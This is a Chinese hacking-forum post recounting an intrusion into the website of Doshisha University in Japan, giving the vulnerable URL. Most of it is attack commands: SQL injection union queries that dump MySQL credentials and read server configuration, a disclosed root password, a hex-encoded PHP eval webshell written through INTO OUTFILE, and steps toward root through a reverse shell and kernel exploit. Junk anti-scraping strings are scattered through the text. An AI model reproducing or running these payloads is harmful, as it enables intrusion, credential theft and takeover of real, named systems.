找回密码
 立即注册
查看: 3641|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
入侵日本同志社大学技术分析
, ~3 p& d7 Z2 q$ g2 @6 d; L/ k
9 I: e% @' d1 Y% E/ k" ~) H. Phttp://www.doshisha.ac.jp/chs/news/index.php?i=-1
) g2 g8 f$ t" w$ w  F, b# C3 |然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
0 f' l7 `9 K! e' Y- k0 x/ y2 ?7 V- _) v/ P  T$ m% k6 [6 p
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
' a5 @! g3 B% S, G4 o+ A4 Y2 A
; c3 t& k+ |* A* L" R" P
' }! n0 s( C+ J; O+ v& C% x# l5 v# J3 x& f0 K
//@@datadir为数据库文件路径
- K  F# t. [& ?' l; S  D 6 D9 }6 g  u$ `

* @) `- s' A9 Z: G//load_file读取网站容器apache的配置文件
$ H7 B& a- }6 b' x + {) R4 ~) m8 z2 @- q+ m5 d

+ J7 r* e( P4 `8 x: g) Q& M//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
8 w* ?/ \4 K) r: f* K! F复制代码
  r- q/ ^1 C6 ?- z2 G
$ O/ w# `& g; L# T虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
0 `# c1 \0 v6 X* H" v9 e! f; z+ \" {8 H# B# f/ }
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。& u9 Y! X3 o6 F1 Q9 ^* \
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
) p/ O4 b( E6 c( L, F. f2 N
+ R/ o4 G5 P, B) q6 b  O前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
* `0 L: X) ^. V如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html1 W% ~2 J2 q: i% g5 c! ]  h7 C) v

4 g9 {2 ^7 u+ M# M; B* A5 n既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
  l' \1 f) D6 m. a  J虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。- Y& P4 K" y* I/ s/ w! O6 ]
直接写一句话:  Y6 H# d, H# a3 d+ A: b4 A# A
/ P# J$ S+ G! I1 ?3 Z: B
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
- u! O5 X9 [, a  R1 ^2 e" t
# U3 [7 l& n% _; v
" ^* g' p6 p5 d) m" U- z1 {; n- c+ \1 F
//最后的#是为了闭合前面的语句
4 @# R8 o% W) ^" A, l+ O7 B 0 h5 R6 {2 [' N" ]1 U

: `" s: B2 Q8 s4 L+ i/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
  e" h% q& m4 |7 a  i- d1 j
1 E5 N# H& G8 m; `4 T+ U, T* E0 h, I' N
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
  a  z( x) D) K8 r) k6 ^
/ E1 t8 G" f" {
) \8 q7 O6 ?. ]& C2 {% u! `' |//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 7 l+ o7 o: ~( r$ \* z
3 @; A! ]# F( G

& W  G& `8 W  j. V7 U//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
! V2 d* H- X" i8 R& R% ~//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
, t, ?7 |% E/ V/ l* L7 D9 T复制代码
7 Q" R! G7 l4 H: v$ h/ j7 a* ?6 I/ M/ U3 M
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
/ E: |# l. w7 f: R通过上述注入语句,我们就得到了一句话木马:
3 r* h9 G. p5 j+ n) r9 a! i9 c0 Y/ x' |: Z+ s0 z5 b
+ X" C7 T2 V! C6 Y

9 g( Q7 ]6 q1 h1 M% L( z / i$ x' c7 N7 m' z6 f

( `/ c* G6 d/ O  `http://www.doshisha.ac.jp/english/engnews_img/aa.php : |, _* ?( y2 E6 C! ^
复制代码
7 u4 u$ }2 B- ^! s7 ^* \( B  h$ F* l' }+ ^; @% A
用菜刀连接,密码是cmd,如图所示:
1 Q# E0 I6 x1 }. y- @/ F3 F+ ]然后在命令提示行里看了一下,现在的权限是:7 f7 p* J: n% H7 _* y

5 z$ _8 ~% _% s. s6 u之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
2 e0 s+ {0 P* e3 ]& U好在赋权给这个文件夹不需要root,直接执行赋权语句:' d# h5 b% i: f
9 }- [: }/ E, p6 z& S, h8 |

- ^2 q; N/ b5 C
; C; N/ X+ q3 N  m & F9 b, m% T+ w# Y
% S& \% G* `% D$ G, x& S; {9 D$ y
chmod +x /tmp/
' u5 ]1 q2 {* e( v" z复制代码
" P/ }6 ~* ?) e# p: z( d5 D2 f8 ^1 W0 e+ K* i5 K3 v
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行4 K* S; m* G0 r( A/ D- E
然后就查了一下内核版本:
$ M/ ?7 o7 q( `3 w4 _' V! v
0 T9 V' p" f+ H9 ?. H % H; S. P: E, D
0 u5 \# P0 K1 m9 \  w# V
. k; v9 G6 R* \0 J+ i- o9 c, n" ~

3 t! u6 Z4 o& k9 b& e4 cuname-a
4 Q# g' t* N9 }' C7 z& Z5 R: h 6 i6 F& z1 b6 r. ?. q/ b
% c  e3 d! [# h2 J7 S
//其实lsb_release -a
4 C# Z& L" k( W复制代码
; D- j+ E' k: {5 \
$ W" Z% q6 g: }. c+ E9 y如图所示:
- p+ D* V+ K; R9 L; u9 D, h5 Q7 J% ?: Q' G* l& N
内核版本:linux mainz1 2.6.28-194.e15
9 w& E/ n' \' }7 K7 j0 r0 Z! \) }系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)% n$ q" c# f& U6 {3 H7 a
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹5 U0 C. e# t% h

0 I0 A7 e, L. L5 j; O: N然后给予执行权限
! w' _# W: `8 e2 B" D2 @: H# `一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
+ Y, m/ }( ~. U0 w5 `. H, Y
. O* o, q4 |& a* p# O: G( k$ I1 K
" |7 W- k; d" t9 U2 y- Z" I" ~& P( o7 f
$ u1 |2 H( x3 y! ?: R& g
* M+ y. _8 a. r' \' f3 N
chmod +x /tmp/2.6.18-194
4 s, n& ]6 x* D# G" \复制代码 然后直接执行!~9 k* d" j2 F" r, E% t- |; z. N/ f) L
& v: a) G! P/ g; N# I
总结:' e0 m4 d* n3 }
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了6 D! d: w! S2 L; U# }& i( a
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
  i' s. ]# [, L
5 H5 P1 y3 @& c6 I$ B/ |) F4 x* _
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表